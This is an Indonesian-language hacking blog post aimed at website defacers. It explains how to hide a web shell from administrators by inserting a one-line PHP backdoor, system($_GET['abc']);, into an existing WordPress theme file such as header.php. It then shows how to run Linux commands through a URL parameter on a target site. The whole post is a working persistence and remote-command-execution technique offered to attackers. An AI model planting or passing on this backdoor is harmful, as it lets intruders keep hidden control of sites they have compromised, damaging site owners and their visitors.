Cara Menyembunyikan Shell Backdoor Dari Jangkauan Admin

squadcyber - Hai guys, kali ini gw akan membahas materi yang sangat penting khusus nya bagi para defacer yang ingin shell backdoor nya awet/aman dari jangkauan admin agar tidak di hapus di website yang telah kita tanam shell backdoor.

Kita hanya perlu menyisipkan kode pada file yang sudah ada di website tersebut yang sekira nya admin tidak bakal menyadari bahwa ada perubahan di website tersebut.

Contoh nya jika website tersebut menggunakan CMS Wordpress, kita masuk ke dir /wp-content/themes/, di situ bakalan muncul beberapa themes yang di pakai di website tersebut, kita cukup pilih salah satu nya saja.

Kita cari file yang berekstensi PHP di dir themes tersebut, kita ambil contoh header.php, kita masukkan kode system($_GET['abc']); pada file header.php tersebut.

Dan kita save file header.php tersebut, dan untuk mengakses nya, kita cukup membuka file tersebut dan tambahkan ?abc= setelah file header.php tersebut, contoh : http://www.target.com/wp-content/themes/twentyfifteen/header.php?abc=

Pastikan kalian sudah mengetahui perintah-perintah dasar linux untuk mengakses nya, setelah huruf ?abc= bisa kalian jalankan dengan perintah-perintah dasar linux, contoh nya : http://www.target.com/wp-content/themes/twentyfifteen/header.php?abc=ls -la

Perintah ls -la yaitu berfungsi untuk menegetahui file dan folder apa saja yang ada di dalam dir tersebut, dan masih banyak lagi perintah yang bisa kita lakukan dengannya.

Demikin tutorial Cara Menyembunyikan Shell Backdoor Dari Jangkauan Admin kali ini, semoga bermanfaat.